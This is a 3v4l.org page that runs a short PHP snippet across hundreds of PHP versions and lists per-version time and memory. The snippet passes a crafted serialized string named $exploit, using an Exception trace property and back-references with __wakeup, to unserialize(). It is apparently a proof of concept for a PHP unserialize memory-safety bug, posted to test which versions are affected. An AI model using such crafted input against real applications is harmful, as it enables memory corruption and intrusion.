3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj { var $prop; function __wakeup() { $this->prop = 1; } } $exploit = 'a:3:{i:0;O:9:"exception":1:{s:16:"'."\0".'Exception'."\0".'trace";a:0:{}}i:0;O:3:"obj":1:{s:4:"prop";R:2;}i:2;R:3;}'; $x = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($x);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0100.00718.43
8.3.50.0130.00821.27
8.3.40.0150.00318.88
8.3.30.0000.01418.89
8.3.20.0080.00020.00
8.3.10.0000.00823.69
8.3.00.0040.00419.70
8.2.180.0070.01416.49
8.2.170.0150.00622.96
8.2.160.0070.00720.50
8.2.150.0040.00424.18
8.2.140.0050.00324.66
8.2.130.0080.00026.16
8.2.120.0110.00017.75
8.2.110.0090.00022.31
8.2.100.0060.00617.75
8.2.90.0000.00719.17
8.2.80.0040.00417.97
8.2.70.0040.00417.75
8.2.60.0030.00617.93
8.2.50.0000.00818.07
8.2.40.0000.00819.45
8.2.30.0070.00419.92
8.2.20.0040.00417.68
8.2.10.0000.00818.07
8.2.00.0000.00718.11
8.1.280.0140.00725.92
8.1.270.0000.01520.18
8.1.260.0080.00026.35
8.1.250.0070.00028.09
8.1.240.0040.00422.66
8.1.230.0090.00317.48
8.1.220.0050.00317.74
8.1.210.0000.00818.77
8.1.200.0000.01017.35
8.1.190.0040.00417.35
8.1.180.0040.00418.10
8.1.170.0050.00318.51
8.1.160.0000.00722.02
8.1.150.0070.00018.87
8.1.140.0000.00817.41
8.1.130.0000.00717.72
8.1.120.0040.00417.33
8.1.110.0000.00817.30
8.1.100.0040.00417.47
8.1.90.0040.00417.42
8.1.80.0030.00517.32
8.1.70.0000.00717.48
8.1.60.0000.00817.49
8.1.50.0000.00717.47
8.1.40.0030.00517.61
8.1.30.0000.00817.70
8.1.20.0080.00017.58
8.1.10.0080.00017.55
8.1.00.0000.00917.63
8.0.300.0030.00618.77
8.0.290.0070.00016.63
8.0.280.0030.00318.39
8.0.270.0000.00717.19
8.0.260.0040.00417.33
8.0.250.0000.00717.07
8.0.240.0070.00017.09
8.0.230.0040.00416.98
8.0.220.0050.00516.95
8.0.210.0040.00416.89
8.0.200.0040.00416.91
8.0.190.0000.00816.93
8.0.180.0000.00716.89
8.0.170.0040.00416.99
8.0.160.0080.00016.91
8.0.150.0000.00816.90
8.0.140.0000.00716.96
8.0.130.0000.00613.50
8.0.120.0040.00416.96
8.0.110.0040.00416.93
8.0.100.0000.00816.85
8.0.90.0000.00716.94
8.0.80.0120.00616.86
8.0.70.0020.00516.80
8.0.60.0040.00416.86
8.0.50.0000.00716.94
8.0.30.0150.00317.16
8.0.20.0110.00817.40
8.0.10.0000.00717.00
8.0.00.0080.01116.78
7.4.330.0040.00415.08
7.4.320.0030.00316.48
7.4.300.0040.00416.63
7.4.290.0040.00416.60
7.4.280.0080.00016.67
7.4.270.0000.00716.55
7.4.260.0000.01116.59
7.4.250.0040.00416.45
7.4.240.0050.00216.58
7.4.230.0070.00016.52
7.4.220.0120.00616.48
7.4.210.0090.00516.55
7.4.200.0030.00316.61
7.4.160.0130.00316.41
7.4.150.0130.00617.40
7.4.140.0150.00517.86
7.4.130.0180.00016.64
7.4.120.0080.01016.62
7.4.110.0130.00816.68
7.4.100.0060.01316.40
7.4.90.0100.00716.60
7.4.80.0130.00519.39
7.4.70.0140.00316.34
7.4.60.0100.00716.41
7.4.50.0030.00516.24
7.4.40.0030.01316.45
7.4.30.0130.00316.57
7.4.10.0060.01214.88
7.4.00.0060.01115.00
7.3.330.0050.00013.25
7.3.320.0020.00313.34
7.3.310.0040.00416.25
7.3.300.0020.00516.39
7.3.290.0070.00016.39
7.3.280.0110.01016.38
7.3.270.0040.01517.40
7.3.260.0110.00716.38
7.3.240.0030.01516.54
7.3.230.0100.00716.59
7.3.210.0100.00716.51
7.3.200.0110.00816.45
7.3.190.0100.01216.45
7.3.180.0030.01316.30
7.3.170.0060.01016.49
7.3.160.0060.00916.51
7.3.130.0070.01014.96
7.3.120.0100.00714.82
7.3.110.0080.00814.89
7.3.100.0030.01414.85
7.3.90.0060.01214.74
7.3.80.0060.00614.66
7.3.70.0090.00614.90
7.3.60.0040.00814.98
7.3.50.0060.00315.00
7.3.40.0000.01414.91
7.3.30.0040.00414.69
7.3.20.0070.00416.71
7.3.10.0070.00716.54
7.3.00.0040.00716.64
7.2.330.0130.00916.44
7.2.320.0080.01716.45
7.2.310.0060.00916.61
7.2.300.0060.01616.53
7.2.290.0060.01016.82
7.2.260.0060.00514.76
7.2.250.0070.01015.00
7.2.240.0040.00915.04
7.2.230.0000.01015.24
7.2.220.0030.01315.23
7.2.210.0080.00415.02
7.2.200.0070.00815.04
7.2.190.0040.01115.09
7.2.180.0000.01015.19
7.2.170.0070.00715.01
7.2.160.0100.00614.79
7.2.150.0040.01117.01
7.2.140.0090.00616.83
7.2.130.0080.00716.63
7.2.120.0030.01016.65
7.2.110.0090.00516.68
7.2.100.0060.00816.68
7.2.90.0070.00516.90
7.2.80.0070.01016.68
7.2.70.0080.00916.80
7.2.60.0040.01116.80
7.2.50.0080.00716.65
7.2.40.0080.00716.88
7.2.30.0050.00716.71
7.2.20.0050.00616.81
7.2.10.0050.00816.56
7.2.00.0060.01017.66
7.1.330.0040.01116.00
7.1.320.0090.00615.70
7.1.310.0030.01016.17
7.1.300.0100.00615.66
7.1.290.0100.00316.00
7.1.280.0090.00615.59
7.1.270.0090.00615.85
7.1.260.0030.01315.80
7.1.250.0040.00615.74
7.1.240.0000.01115.56
7.1.230.0030.00615.81
7.1.220.0070.00715.87
7.1.210.0030.01015.50
7.1.200.0070.00515.90
7.1.190.0000.01515.77
7.1.180.0050.00515.59
7.1.170.0030.00915.64
7.1.160.0090.00015.80
7.1.150.0030.00515.94
7.1.140.0040.01115.96
7.1.130.0030.00715.94
7.1.120.0000.01315.84
7.1.110.0110.00515.80
7.1.100.0060.00316.94
7.1.90.0050.00515.75
7.1.80.0030.00915.68
7.1.70.0050.00616.40
7.1.60.0130.00217.68
7.1.50.0070.01116.39
7.1.40.0030.01415.80
7.1.30.0030.00615.68
7.1.20.0030.00715.83
7.1.10.0000.00915.86
7.1.00.0080.03819.29
7.0.330.0060.00315.45
7.0.320.0000.00815.41
7.0.310.0040.00815.50
7.0.300.0060.00615.40
7.0.290.0000.01315.39
7.0.280.0070.00715.58
7.0.270.0030.01315.35
7.0.260.0060.00615.61
7.0.250.0060.00315.52
7.0.240.0120.00315.23
7.0.230.0070.00415.54
7.0.220.0060.00615.47
7.0.210.0030.00915.55
7.0.200.0090.00615.86
7.0.190.0090.00015.57
7.0.180.0000.00815.57
7.0.170.0100.00015.65
7.0.160.0030.00715.64
7.0.150.0090.00615.30
7.0.140.0000.01515.43
7.0.130.0000.00815.21
7.0.120.0000.01115.20
7.0.110.0080.00615.26
7.0.100.0030.01215.21
7.0.90.0030.01315.43
7.0.80.0060.00315.48
7.0.70.0000.01315.42
7.0.60.0060.03917.61
7.0.50.0020.02716.61
7.0.40.0040.02716.88
7.0.30.0120.02816.82
7.0.20.0180.04316.86
7.0.10.0190.04216.67
7.0.00.0100.04516.88
5.6.400.0080.00014.05
5.6.390.0080.00614.35
5.6.380.0070.00714.74
5.6.370.0000.01414.63
5.6.360.0030.00614.48
5.6.350.0030.00714.35
5.6.340.0000.00814.46
5.6.330.0060.00614.22
5.6.320.0070.00714.28
5.6.310.0030.00614.61
5.6.300.0060.00914.45
5.6.290.0090.00414.68
5.6.280.0050.01717.84
5.6.270.0060.00914.57
5.6.260.0060.00614.45
5.6.250.0070.00714.10
5.6.240.0100.00014.54
5.6.230.0030.00614.50
5.6.220.0130.00314.32
5.6.210.0060.02117.58
5.6.200.0040.03016.21
5.6.190.0030.04217.45
5.6.180.0160.02717.32
5.6.170.0150.04017.63
5.6.160.0080.02817.39
5.6.150.0100.04216.15
5.6.140.0050.04716.36
5.6.130.0080.02016.28
5.6.120.0100.04317.93
5.6.110.0070.04517.63
5.6.100.0080.03717.60
5.6.90.0020.03917.66
5.6.80.0070.04217.37
5.6.70.2010.02317.30
5.6.60.0040.00714.34
5.6.50.0030.01014.29
5.6.40.0090.00614.25
5.6.30.0060.01214.52
5.6.20.0030.01314.36
5.6.10.0100.00714.15
5.6.00.0030.00614.38
5.5.380.0050.00814.70
5.5.370.0030.00914.52
5.5.360.0060.00914.34
5.5.350.0030.02317.52
5.5.340.0070.04016.06
5.5.330.0070.02917.45
5.5.320.0220.04117.53
5.5.310.0190.02717.35
5.5.300.0090.03316.25
5.5.290.0020.02916.29
5.5.280.0080.02317.60
5.5.270.0110.04117.79
5.5.260.0100.04017.47
5.5.250.0060.03017.44
5.5.240.0050.03017.49
5.5.230.0070.00714.05
5.5.220.0080.00014.54
5.5.210.0000.01014.22
5.5.200.0070.01014.15
5.5.190.0080.00414.42
5.5.180.0040.01114.41
5.5.170.0040.00714.21
5.5.160.0060.00614.03
5.5.150.0060.00614.54
5.5.140.0000.01314.47
5.5.130.0080.00814.31
5.5.120.0040.00414.57
5.5.110.0030.00614.38
5.5.100.0100.00314.20
5.5.90.0110.00413.93
5.5.80.0060.00614.38
5.5.70.0060.00614.64
5.5.60.0070.01014.26
5.5.50.0090.00614.11
5.5.40.0030.00914.14
5.5.30.0030.01014.16
5.5.20.0030.01014.56
5.5.10.0000.01514.37
5.5.00.0080.00014.30
5.4.450.0430.02715.34
5.4.440.0450.02515.58
5.4.430.0450.04015.32
5.4.420.0310.03215.31
5.4.410.0410.03115.37
5.4.400.0390.02615.06
5.4.390.0320.03215.18
5.4.380.0350.02715.19
5.4.370.0280.03015.24
5.4.360.0330.02715.08
5.4.350.0290.03015.16
5.4.340.0380.03814.97
5.4.330.0030.00311.10
5.4.320.0370.04115.12
5.4.310.0350.03514.97
5.4.300.0330.03315.00
5.4.290.0350.03015.13
5.4.280.0320.02815.14
5.4.270.0280.03215.26
5.4.260.0350.02315.06
5.4.250.0380.03015.19
5.4.240.0420.03215.21
5.4.230.0400.02315.28
5.4.220.0370.03015.13
5.4.210.0370.03215.03
5.4.200.0340.02615.09
5.4.190.0320.02915.23
5.4.180.0340.02615.13
5.4.170.0300.03315.20
5.4.160.0380.02815.20
5.4.150.0320.03215.04
5.4.140.0300.03113.71
5.4.130.0330.02513.85
5.4.120.0390.02213.90
5.4.110.0320.02813.85
5.4.100.0350.02913.77
5.4.90.0400.02814.02
5.4.80.0360.02513.73
5.4.70.0120.03913.70
5.4.60.0190.03813.79
5.4.50.0120.01713.91
5.4.40.0010.02413.69
5.4.30.0060.02613.93
5.4.20.0140.03813.89
5.4.10.0000.00811.11
5.4.00.0030.00711.31

preferences:
44.37 ms | 401 KiB | 5 Q